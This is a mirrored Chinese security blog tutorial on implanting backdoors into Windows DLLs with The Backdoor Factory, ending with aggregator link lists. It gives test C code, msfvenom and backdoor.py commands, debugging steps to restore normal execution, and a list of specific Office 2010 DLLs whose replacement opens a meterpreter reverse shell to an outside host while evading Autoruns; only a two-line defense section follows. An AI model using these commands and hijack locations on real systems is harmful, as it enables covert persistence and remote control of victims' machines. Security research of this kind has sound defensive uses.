

利用BDF向DLL文件植入后门
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

利用BDF向DLL文件植入后门
0x00 前言
在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路
0x01 简介
本文将要介绍以下内容:
- 劫持自己的DLL,修复BUG
- 劫持系统的DLL,绕过Autoruns的后门检测
0x02 利用思路
DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程
DLL同EXE文件最大的区别是多了导出函数的功能
在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用
那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?
下面进行测试,得出结论
0x03 编写程序进行测试
测试Dll testdll.dll:
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//MessageBox(NULL, NULL, NULL, 0);
//Sleep(5000);
printf("[+] DLL_PROCESS_ATTACH\n");
case DLL_THREAD_ATTACH:
printf("[+] DLL_THREAD_ATTACH\n");
case DLL_THREAD_DETACH:
printf("[+] DLL_THREAD_DETACH\n");
case DLL_PROCESS_DETACH:
printf("[+] DLL_PROCESS_DETACH\n");
break;
}
return TRUE;
}
void Export1()
{
printf("[+] Export1\n");
}
导出函数为Export1
Dll加载程序 loader.exe:
#include <windows.h>
typedef void(*Export)();
int main(int argc, char* argv[])
{
Export exporttest;
printf("[*] LoadLibrary\n");
HMODULE hDllLib = LoadLibrary("testdll.dll");
exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
exporttest();
Sleep(10000);
FreeLibrary(hDllLib);
printf("[*] FreeLibrary\n");
return 0;
}
程序执行如下图,加载testdll.dll,调用导出函数Export1
使用The Backdoor Factory为DLL文件添加后门:
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次执行loader.exe,测试如下图

成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary
需要对DLL进行调试,找到出错的原因
首先生成空的跳转模板:
./backdoor.py -f testdll.dll -s cave_miner_inline
选择.text
段
执行Loader.exe,程序一切正常,那么就是中间的payload出了问题
使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行
接下来,在0x10005716
处填入我们的payload
可以使用CFF Explorer
添加payload
首先定位payload起始点
PUSHAD
PUSHFD
对应的16进制代码为609C
在CFF Explorer中切换到Hex Editor视图,搜索609C
,定位起始点0x0000571A
注:
通过Immunity Debugger获得的内存虚拟地址为0x1000571A
,二者对应,位置正确
为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移


将0x0005772
-0x0000579E
的数据整体后移,中间填入0x90
选中该部分内容,右键
-Copy
-Hex
找到合适的位置,右键
-Fill With...
完整操作如下图

依此方法,中间填入修改后的payload即可,完成Bug修复
通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

得出结论:
对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary
时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可
0x04 劫持系统的DLL
针对Office 2010,分享几个自己找到的DLL劫持利用位置
1、劫持Word-审阅试图
LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RRLoc14\
对该dll添加payload
./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded
替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter
测试如下图

2、劫持word-插入-图片
tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink\
需要TrustedInstaller
权限才能替换
关于如何获得TrustedInstaller
权限,可参考文章《渗透技巧——Token窃取与利用》
3、劫持word-文件
也影响别的位置:
word -页面布局-主题-浏览主题
GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052
需要管理员权限
4、劫持Excel-插入-图片
MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14\
需要管理员权限
以上测试如下图

注:
本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测
0x05 防御
对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题
而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大
0x06 小结
本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题
Recommend
-
149
中国 Android 应用利用 Dirty Cow 漏洞植入后门
-
6
Redis后门植入分析报告 唐朝实验室
-
39
-
13
GookitBankingTrojan中的后门利用分析 0x00 前言 Gootkit Banking Trojan在2014年被首次发现,最近Daniel Bunce(@ 0verfl0w_)介绍了一些对于Gootkit Banking Trojan的分析,文章地址如下: https://www.sentine...
-
6
《MiniDumpWriteDump via COM+ Services DLL》的利用测试 0x00 前言 最近学习了odzhan文章中介绍的一个技巧,使用C:\windows\system32\comsvcs.dll的导出函数MiniDump能够dump指定进程的内存文件。 文章地址:
-
6
0x00 前言 The Backdoor Factory可用来向可执行文件植入后门,修改程序执行流程,执行添加的payload。 本文将要介绍向EXE文件植入后门的原理,测试The Backdoor Factory植入后门的方法,分析细节,总结思路。...
-
4
Java利用技巧——通过JNI加载dll 07 Feb 2022 0x00 前言 Java可以通过JNI接口访问本地的动态连接库,从而扩展Java的功能。本文将以Tomcat环境为例,介绍通过jsp加载dll的方法,开源代码,记录细节。 0x01 简介
-
8
MiMi应用被植入后门,攻击安卓、iOS、Windows和macOS平台 作者:ang010ela 2022-08-30 11:41:53 安全 国内即时消息应用MiMi被植入后...
-
5
.Net引用根目录子文件夹下的dll文件 在.Net开发的时...
-
9
果粉幸福!iPhone被强迫要求植入后门 苹果直接硬扛放弃服务 2023年08月09日07:19 快科技2018
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK